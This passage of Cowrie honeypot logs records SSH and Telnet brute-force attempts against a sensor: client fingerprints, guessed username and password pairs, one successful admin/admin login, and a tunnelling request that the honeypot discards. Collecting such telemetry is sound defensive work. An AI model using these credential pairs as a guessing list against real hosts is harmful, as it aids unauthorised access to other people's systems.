ha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:39:23.602448Z","src_ip":"194.113.233.25","session":"6f1a942a12a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"valentin1976","message":"login attempt [root/valentin1976] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:39:23.881794Z","src_ip":"194.113.233.25","session":"6f1a942a12a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:39:24.978637Z","src_ip":"194.113.233.25","session":"6f1a942a12a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.230.127.104","src_port":37660,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a4026d9c5ee","protocol":"ssh","message":"New connection: 213.230.127.104:37660 (10.17.0.5:22) [session: 3a4026d9c5ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:39:38.429245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:39:38.434255Z","src_ip":"213.230.127.104","session":"3a4026d9c5ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:39:38.605094Z","src_ip":"213.230.127.104","session":"3a4026d9c5ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123qwe!@#QWE","message":"login attempt [debian/123qwe!@#QWE] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:39:39.319911Z","src_ip":"213.230.127.104","session":"3a4026d9c5ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:39:40.496943Z","src_ip":"213.230.127.104","session":"3a4026d9c5ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.246.14.196","src_port":56238,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a72335d3eeb","protocol":"ssh","message":"New connection: 186.246.14.196:56238 (159.203.135.109:22) [session: 9a72335d3eeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:39:41.435145Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:39:41.441160Z","src_ip":"186.246.14.196","session":"9a72335d3eeb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:39:41.610840Z","src_ip":"186.246.14.196","session":"9a72335d3eeb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"minecraft1234","message":"login attempt [minecraft/minecraft1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:39:42.312967Z","src_ip":"186.246.14.196","session":"9a72335d3eeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"222.107.156.227","src_port":35253,"dst_ip":"10.17.0.5","dst_port":22,"session":"dbc07cbedbb3","protocol":"ssh","message":"New connection: 222.107.156.227:35253 (10.17.0.5:22) [session: dbc07cbedbb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:39:42.916599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:39:42.922102Z","src_ip":"222.107.156.227","session":"dbc07cbedbb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:39:43.122149Z","src_ip":"222.107.156.227","session":"dbc07cbedbb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:39:43.481419Z","src_ip":"186.246.14.196","session":"9a72335d3eeb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:39:43.951697Z","src_ip":"222.107.156.227","session":"dbc07cbedbb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:39:45.154795Z","src_ip":"222.107.156.227","session":"dbc07cbedbb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.233.118.22","src_port":49036,"dst_ip":"159.203.135.109","dst_port":22,"session":"27b8314e518c","protocol":"ssh","message":"New connection: 186.233.118.22:49036 (159.203.135.109:22) [session: 27b8314e518c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:40:10.972349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:40:10.978006Z","src_ip":"186.233.118.22","session":"27b8314e518c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:40:11.098267Z","src_ip":"186.233.118.22","session":"27b8314e518c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openproject","password":"openproject","message":"login attempt [openproject/openproject] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:40:11.647197Z","src_ip":"186.233.118.22","session":"27b8314e518c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00431060791016,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:40:12.181410Z","src_ip":"38.211.253.121","session":"4e4a0fccfc8e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00176215171814,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:40:12.587744Z","src_ip":"38.211.253.121","session":"559017d3e7e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.182.78","src_port":33202,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d2edba84075","protocol":"ssh","message":"New connection: 160.251.182.78:33202 (159.203.135.109:22) [session: 3d2edba84075]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:40:12.687243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:40:12.692645Z","src_ip":"160.251.182.78","session":"3d2edba84075","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:40:12.770563Z","src_ip":"186.233.118.22","session":"27b8314e518c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:40:12.863112Z","src_ip":"160.251.182.78","session":"3d2edba84075","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.211.253.121","src_port":9382,"dst_ip":"159.203.135.109","dst_port":23,"session":"29cf26ec77fd","protocol":"telnet","message":"New connection: 38.211.253.121:9382 (159.203.135.109:23) [session: 29cf26ec77fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:40:13.462052Z"}
{"eventid":"cowrie.login.failed","username":"foundry","password":"1234","message":"login attempt [foundry/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:40:13.577962Z","src_ip":"160.251.182.78","session":"3d2edba84075","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:40:14.752769Z","src_ip":"160.251.182.78","session":"3d2edba84075","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.211.253.121","src_port":9156,"dst_ip":"159.203.135.109","dst_port":23,"session":"add3541424ba","protocol":"telnet","message":"New connection: 38.211.253.121:9156 (159.203.135.109:23) [session: add3541424ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:40:15.893884Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.211.253.121","src_port":10837,"dst_ip":"159.203.135.109","dst_port":23,"session":"f000449e9f5a","protocol":"telnet","message":"New connection: 38.211.253.121:10837 (159.203.135.109:23) [session: f000449e9f5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:40:16.273082Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":65240,"dst_ip":"10.17.0.5","dst_port":22,"session":"c27a992ff1c6","protocol":"ssh","message":"New connection: 87.251.64.176:65240 (10.17.0.5:22) [session: c27a992ff1c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:40:20.018551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:40:20.024811Z","src_ip":"87.251.64.176","session":"c27a992ff1c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:40:20.120598Z","src_ip":"87.251.64.176","session":"c27a992ff1c6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:40:20.425059Z","src_ip":"87.251.64.176","session":"c27a992ff1c6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:40:20.525398Z","session":"c27a992ff1c6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:40:20.635971Z","src_ip":"87.251.64.176","session":"c27a992ff1c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:40:20.739288Z","src_ip":"87.251.64.176","session":"c27a992ff1c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00911068916321,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:40:31.650219Z","src_ip":"186.55.200.230","session":"b3009a22c875","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.55.200.230","src_port":59932,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7fd04f4f2bc","protocol":"telnet","message":"New connection: 186.55.200.230:59932 (159.203.135.109:23) [session: e7fd04f4f2bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:40:31.956925Z"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.118.145","src_port":41950,"dst_ip":"159.203.135.109","dst_port":22,"session":"455732e94579","protocol":"ssh","message":"New connection: 14.103.118.145:41950 (159.203.135.109:22) [session: 455732e94579]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:40:55.807743Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.246.14.196","src_port":33578,"dst_ip":"159.203.135.109","dst_port":22,"session":"54ca5bbad16b","protocol":"ssh","message":"New connection: 186.246.14.196:33578 (159.203.135.109:22) [session: 54ca5bbad16b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:41:14.815527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:41:14.820866Z","src_ip":"186.246.14.196","session":"54ca5bbad16b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:41:14.988006Z","src_ip":"186.246.14.196","session":"54ca5bbad16b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"7758521","message":"login attempt [root/7758521] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:41:15.683113Z","src_ip":"186.246.14.196","session":"54ca5bbad16b","protocol":"ssh"}
